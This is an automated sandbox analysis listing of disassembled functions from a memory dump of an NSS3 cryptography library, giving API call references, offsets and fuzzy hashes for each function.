Opcode Fuzzy Hash: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction Fuzzy Hash: 8B619071A002059FDB44CFA8EC94B6A7BB1FF49354F20852CE915EB790DB31AD06CB91

Function 6CEBFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEBF165,6CF8219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEBFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEC00A6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction ID: 560f6b8d7abd1b5587c4f119d9ca48e80ada0845acb658048b7493d7f665a8be
Opcode Fuzzy Hash: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction Fuzzy Hash: 2C5103B5F042559BDB108E99C9917AEB7B5BB49318F360628DC65A7B40D332AC00CBD2

Function 6CE7DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE7DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE7E02B
PR_Unlock.NSS3(?), ref: 6CE7E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE7E090
PR_Unlock.NSS3(?), ref: 6CE7E0AF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction ID: 38aeb86ca57ae36e2fa05fa676489ccebf4617f267ada5c31b2a3df8d5ca72b2
Opcode Fuzzy Hash: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction Fuzzy Hash: D451AF35A00A00DFEB309F24D849BAA73B5FF45318F304529E86687B91D735E959CBE2

Function 6CE7BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7BD1E

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7BD8C

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE7BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE3A

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE52

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE61

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction ID: 1630effe1d1b10ebebcf275524818f3886b58cabce789e8ceba00aebd3d45dcf
Opcode Fuzzy Hash: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction Fuzzy Hash: 1E41C1B5E00210AFC720DF28DC80B6A77F4EB4571CF218568F9499B711E731E915CBA2

Function 6CE9AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC35

Part of subcall function 6CE7CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE7CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC55

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E,?,?), ref: 6CE9AC70

Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E33C
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E350
Part of subcall function 6CE7E300: PR_Unlock.NSS3(?), ref: 6CE7E5BC
Part of subcall function 6CE7E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE7E5CA
Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E5F2
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E606
Part of subcall function 6CE7E300: PORT_Alloc_Util.NSS3(?), ref: 6CE7E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE9AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E), ref: 6CE9ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE9AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE9AD2B

Part of subcall function 6CE7F360: TlsGetValue.KERNEL32(00000000,?,6CE9A904,?), ref: 6CE7F38B
Part of subcall function 6CE7F360: EnterCriticalSection.KERNEL32(?,?,?,6CE9A904,?), ref: 6CE7F3A0
Part of subcall function 6CE7F360: PR_Unlock.NSS3(?,?,?,?,6CE9A904,?), ref: 6CE7F3D3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction ID: 4bd7a550190d00108bb91739a9d3d666e2ea0fcdcafc9b1ef1036918c683c726
Opcode Fuzzy Hash: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction Fuzzy Hash: 7E3117B1E406155FEB008F699C409AF77B6EF8472CB29852CE815ABB40EB31ED15C7A1

Function 6CE78C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE78C7C

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE78CB0
TlsGetValue.KERNEL32 ref: 6CE78CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE78CE5
PR_Unlock.NSS3(?), ref: 6CE78D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE78D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE78D93

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction ID: 6a60f76db9f8444c71b06d7872623f99dbec10ff8c546e397978d9ea7a2b147a
Opcode Fuzzy Hash: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction Fuzzy Hash: 78312371E00205ABEB209F68DD447AAB7B8FF25318F34013AEA1967B50D771A925C7E1

Function 6CEB9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB13F0
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,?,?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEB1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEB9C5B), ref: 6CEB9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEB9C5B), ref: 6CEB9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEB9C5B), ref: 6CEB9E91

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Part of subcall function 6CEB1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEAFAAB,00000000), ref: 6CEB157E
Part of subcall function 6CEB1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEAFAAB,00000000), ref: 6CEB1592
Part of subcall function 6CEB1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEB1600
Part of subcall function 6CEB1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEB1620
Part of subcall function 6CEB1560: PR_Unlock.NSS3(?), ref: 6CEB1639

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 117aa6cf42111e34c987586bb3ed22ed4d10f1fbe0eb73f272c7f6f66a9e5ef4
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: D74171B4601606AFE7409F55DA40BA2B7B1FF55358F248128E8145BFA0EB72E834CB90

Function 6CE7DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE7DDEC

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE7DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE7DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE7DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE7DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DECC

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction ID: dbeee3c7011ad6c153a89970144b8370a196dd41cbe43f0805f33b7b61221a3b
Opcode Fuzzy Hash: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction Fuzzy Hash: 6631D5B6E002146BEB21AF64AD41BBB76B8DF5560CF250139ED09A7701FB31DA14C6F2

Function 6CE57E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57E48

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE57E5B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57E7B

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7925C,?), ref: 6CE57E92

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57EFA

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction ID: 9c4523d281a2d1d90b1ba02d3c132b334aa9b1692ff7f881c075c0a0113e247d
Opcode Fuzzy Hash: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction Fuzzy Hash: 8631C1B2E103119BEB10CB659D45B6B73B8AF0425CF658828DC55EBB01EB32FC24C7A0

Function 6CEADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEADCAD

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction ID: 0d0b354d4d025cea458e4e6f135c91897f165899760bf72c50911ba6dcb0c57d
Opcode Fuzzy Hash: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction Fuzzy Hash: 7A3141B9900300AFD750CF99D884B56B7F8AF09358F644429ED48CFB01E772EA45CB91

Function 6CE72E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE6E728,?,00000038,?,?,00000000), ref: 6CE72E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE72E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE72E9E
PR_Unlock.NSS3(?), ref: 6CE72EAB
PR_Unlock.NSS3(?), ref: 6CE72F0D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
